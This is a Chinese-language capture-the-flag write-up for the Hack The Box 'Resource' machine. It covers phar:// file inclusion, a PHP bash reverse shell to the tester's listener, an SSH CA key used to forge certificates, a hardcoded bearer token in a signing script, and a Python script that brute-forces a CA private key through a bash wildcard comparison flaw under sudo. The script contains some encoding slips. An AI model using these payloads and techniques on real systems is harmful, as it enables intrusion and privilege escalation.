本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台(官方网址:https://www.hackthebox.eu/),实验环境将实时更新,允许您测试您的渗透测试技能。
知识点:php伪协议、SSH CA签名登录。
Kali:10.10.16.39
靶场:10.10.11.27
0000.靶场基本情况
使用namp扫描,开放端口有22、80、2222。
22和2222端口都是ssh服务。
访问10.10.11.27,自动跳转http://itrc.ssg.htb,配置host或者dns就可以正常访问,主页如下:
注册用户test_1,登录后进入个人页面,在这个页面可以给管理员留言。
注意url格式为?page=dashboard,可能有文件包含漏洞。
创建Ticket,可以上传zip文件,经过测试只能上传zip文件,可以读取到上传后的位置。
对目录进行扫描,发现?page=admin界面可以越权访问。admin界面有ping功能,测试命令注入无果。
历史Ticket ID从1到8,但是都无法访问。
0001.php伪协议获取www-date用户权限
创建ticket,在zip文件里面包含phpinfo.php文件。
访问如下命令,可以直接执行php代码。
?page=phar://uploads/0000af8b7fb5d897811078a2ded3ace98479cea3.zip/phpinfo
在kali监听4445端口
nc -lnvp 4445
上传反弹shell文件
<?php eval(system("bash -c 'bash -i >& /dev/tcp/10.10.16.39/4445 0>&1'")); ?>
成功反弹shell,获取www-data权限。
0002.获取msainristil权限
在/home目录下发现两个用户msainristil和zzinter,我们的目标是获取这两个用户或root的权限。
在/var/www/itrc/db.php文件下发现mysql的用户名密码。
连接mysql需要交互式shell,当前环境没有python,无法使用python改变交互模式,所以进入mysql需要借助socat。
连接mysql时主机要指定db。
mysql -h db -u jj -p
mysql获取的用户密码无法解密。mysql对解题无帮助,这里就略写。
ping db,发现ip地址为172.233.0.2。
当前环境无法使用ifconfig,借助工具发现当前环境ip为172.233.0.3,且在根目录发现.dockerenv文件,确定当前环境为docker内部。
22端口的ssh是docker内部的服务,2222端口的ssh应该是主机的服务。
/var/www/html/uploads/c2f48xxxx.zip文件中有个文件itrc.ssg.htb.har,在里面找到msainristil用户的密码。
unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
cat itrc.ssg.htb.har | grep msainristil
ssh登录msainristil用户。
ssh msainristil@ssg.htb
0003.Docker中zzinter用户权限
在msainristil用户目录下decommission_old_ca文件夹,里面有两个文件ca-itrc和ca-itrc.pub。这里需要自己创建密钥,然后使用ca签名就可以登录了。
不了解的可以参考这篇文章:
ssh使用CA签名登录
https://www.cnblogs.com/osnosn/p/16870594.html
使用下列命令生成私钥users_key和公钥users_key.pub
ssh-keygen -t rsa -C [email protected] -f users_key
使用下列命令进行签名,得到user_key-cert.pub文件。
ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub
使用下列命令将文件传回kali。
scp [email protected]:/home/msainristil/decommission_old_ca/user* .
使用ssh登录zzinter
ssh -i users_key zzinter@ssg.htb
0004.获取docker的root权限
使用上诉方法
靶机:
ssh-keygen -t rsa -C [email protected] -f dockerroot
ssh-keygen -s ca-itrc -n root -I ident dockerroot.pub
kali中:
scp msainristil@ssg.htb:/home/msainristil/decommission_old_ca/dockerroot* .
ssh -i dockerroot root@ssg.htb
0005.获取主机的support用户权限
在zzinter用户找到发现user.txt。
其中还有sign_key_api.sh文件,打开后代码如下
#!/bin/bash
usage () {
echo "Usage: $0"
exit 1
}
if [ "$#" -ne 3 ]; then
usage
fi
public_key_file="$1"
username="$2"
principal_str="$3"
supported_principals="webserver,analytics,support,security
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
代码运行需要3个参数public_key_file、username、 principal。
public_key_file是上面我们自己生成的密钥对中的公钥。
username:和principal保持一致就可以。
principal是对私钥签名后文件中的一个字段,指示的是登录名,以前文users_key-cert.pub为例,可以看到principal的值是zzinter。
ssh-keygen -L -f users_key-cert.pub
代码还对principal进行了限制,只能webserver,analytics,support,security是四个字段之一。看似限制,实则提醒。
我们在前面使用如下命令进行签名,该代码的功能一样,只是签名文件由服务器提供。
ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub
经过测试使用如下面命令和用户获取support的私钥文件。
靶机中:
ssh-keygen -t rsa -C support@ssg.htb -f support
./sign_key_api.sh support.pub support support > support-cert.pub
mv supp* /tmp
chmod 777 /tmp/supp*
Kali中:
scp msainristil@ssg.htb:/tmp/suppo* .
chmod 700 support*
ssh -i support -p 2222 support@ssg.htb
0006.zzinter权限
在/etc/ssh/auth_principals文件夹中,可以知道zzinter用户可以使用zzinter_temp ca登录。
使用上面的方法,本来是想直接使用curl请求,但是我无论怎么尝试curl请求都是返回错误。
在靶机中:
将/home/zzinter/sign_key_api.sh复制到/tmp/sign.sh
cp /home/zzinter/sign_key_api.sh /tmp/sign.sh
修改sign.sh,在限制的字段中加入zzinter_temp
在靶机中执行如下命令
ssh-keygen -t rsa -C [email protected] -f zzintertemp
./sign.sh zzintertemp.pub zzinter zzinter_temp > zzintertemp-cert.pub
chmod 777 /tmp/zzintertemp*
kali中:
scp msainristil@ssg.htb:/tmp/zzintertemp* .
chmod 700 zzintertemp*
ssh -i zzintertemp -p 2222 zzinter@ssg.htb
0007.root权限
通过查找,在/opt文件夹下找到sign_key.sh文件。
使用sudo -l可以发现zzinter用户不需要密码就可以执行sign_key.sh。
sign_key代码如下:
#!/bin/bash
usage () {
echo "Usage: $0"
exit 1
}
if [ "$#" -ne 5 ]; then
usage
fi
ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"
if [ ! -f "$ca_file" ]; then
echo "Error: CA file '$ca_file' not found."
usage
fi
if [[ $ca == "/etc/ssh/ca-it" ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
echo "Error: Use API for signing with this CA."
usage
fi
if [ ! -f "$public_key_file" ]; then
echo "Error: Public key file '$public_key_file' not found."
usage
fi
supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
if ! echo "$supported_principals" | grep -qw "$word"; then
echo "Error: '$word' is not a supported principal."
echo "Choose from:"
echo " webserver - external web servers - webadmin user"
echo " analytics - analytics team databases - analytics user"
echo " support - IT support server - support user"
echo " security - SOC servers - support user"
echo
usage
fi
done
if ! [[ $serial =~ ^[0-9]+$ ]]; then
echo "Error: '$serial' is not a number."
usage
fi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
先看代码最后一句,就是我们签名使用签名文件对公钥进行签名的操作。
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
-s:签名文件
-z:序列号
-I:官方解释是身份标识,填用户名应该就可以
-V:时效多长
-n: 登录别名,类似zzinter_temp,这里要求root,应该使用root_user。
代码中对签名文件进行了限制,不允许是/etc/ssh/ca-it文件。还是那句话,看似限制,实则提醒。
当前用户对/etc/ssh/ca-it没有访问权限,这里要使用Bash通配符滥用。
简述:文件a内容为abcd,我们使用文件b与文件a比对,如果内容一样则提示。通配符滥用就是,当文件b的内容为a*时,也会提示。
靶机中:
在/tmp文件夹新建test-ca文件,创建密钥对:
ssh-keygen -t rsa -C [email protected] -f rootuser
新建qcat.py文件,写入如下代码并执行:
import os
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key = []
line= 0
while True:
for char in ba64chars:
testKey = header + "n" + "".join(key) + char + "*"
with open('/tmp/test-ca', 'w', encoding='utf-8') as f:
f.write(testKey)
orderResult = os.popen("sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05").readlines()
if "Error: Use API for signing with this CA." in str(orderResult):
key.append(char)
if len(key) > 0 and (len(key) - line) % 70 == 0:
line = line + 1
key.append("n")
break
else:
break
testKey = header + "n" + "".join(key) + “n” + footer
with open('/tmp/test-ca','w') as f:
f.write(testKey)
已经获取ca-it,使用ca对密钥对进行签名,获取rootuser-cert.pub文件。
sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05
传输回本地,这里直接使用python建立http服务:
python -m http.server 8001
kali:
wget http://10.10.11.27:8001/rootuser-cert.pub
wget http://10.10.11.27:8001/rootuser
wget http://10.10.11.27:8001/rootuser.pub
ssh -i rootuser -p 2222 root@ssg.htb
在/root找到最后一个root.txt。
感谢观看!
原文始发于微信公众号(Rsec):HTB靶场 Resource (Linux)[Medium]
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论